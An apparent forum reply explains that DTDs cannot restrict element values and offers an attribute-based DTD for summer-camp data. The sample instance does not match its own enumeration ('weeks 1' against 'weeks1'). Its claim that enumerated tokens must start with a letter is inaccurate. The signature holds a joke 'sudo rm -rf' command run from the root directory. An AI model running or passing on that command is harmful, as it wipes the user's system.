unwiseone wrote:
Hello,
Does any know how to specify a value of a DTD element? For example,
here's an external DTD that I have:
=============== =============== =========
<!ELEMENT summercamps (Camp+)>
<!ELEMENT Camp (name, campcode?, ContactPhone, ContactPhone?,
Activity+)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT campcode (#PCDATA)>
<!ELEMENT ContactPhone (#PCDATA)>
<!ELEMENT Activity (name, StartDate, Duration, Student*)>
<!ELEMENT StartDate (#PCDATA)>
<!ELEMENT Duration (#PCDATA)>
<!ELEMENT Student (name, studentId)+>
<!ELEMENT studentId (#PCDATA)
=============== =============== ==========
In the 'Duration' element, instead of #PCDATA, I want to specify a
duration period, for example (3 weeks or 4 weeks). The duration element
must stay in the order as prescribed in the Activity tree. Does any
know how to do this? Thanks in advance.
DTDs can't specify data content: you need to use some form of Schema for
that. But in any event, I prefer to use attributes for categorical and
numerical data (don't ask why, I just feel more comfortable with it; and
in most editors, creating the element pops up a prompt for the attribute):
<?xml version="1.0"?>
<!DOCTYPE Summercamps [
<!ELEMENT Summercamps (Camp+)>
<!ELEMENT Camp (Name, ContactPhone, ContactPhone?, Activity+)>
<!ELEMENT Name (#PCDATA)>
<!ATTLIST Name Code CDATA #REQUIRED>
<!ELEMENT ContactPhone (#PCDATA)>
<!ELEMENT Activity (Name, Student*)>
<!ATTLIST Activity StartDate CDATA #REQUIRED
Duration (weeks1|weeks2| weeks3|weeks4) #REQUIRED>
<!ELEMENT Student (Name)+>
<!ATTLIST Student ID CDATA #REQUIRED>
]>
<Summercamps>
<Camp>
<Name Code="CSW">XML Summerschool</Name>
<ContactPhone>+ 44 1865 337400</ContactPhone>
<ContactPhone>+ 44 1865 337433</ContactPhone>
<Activity StartDate="2005-06-24" Duration="weeks 1">
<Name Code="xyz">XML Training</Name>
<Student ID="12345">
<Name>P. UnWiseOne</Name>
</Student>
</Activity>
</Camp>
</Summercamps>
Token list attributes have to start with a letter, so they can't be just
digits, which is cumbersome -- but XML was not designed for numeric data.
In fact, with a little perseverance you can do quite a modest amount of
data control with DTDs, but Schemas will give you much more.
///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"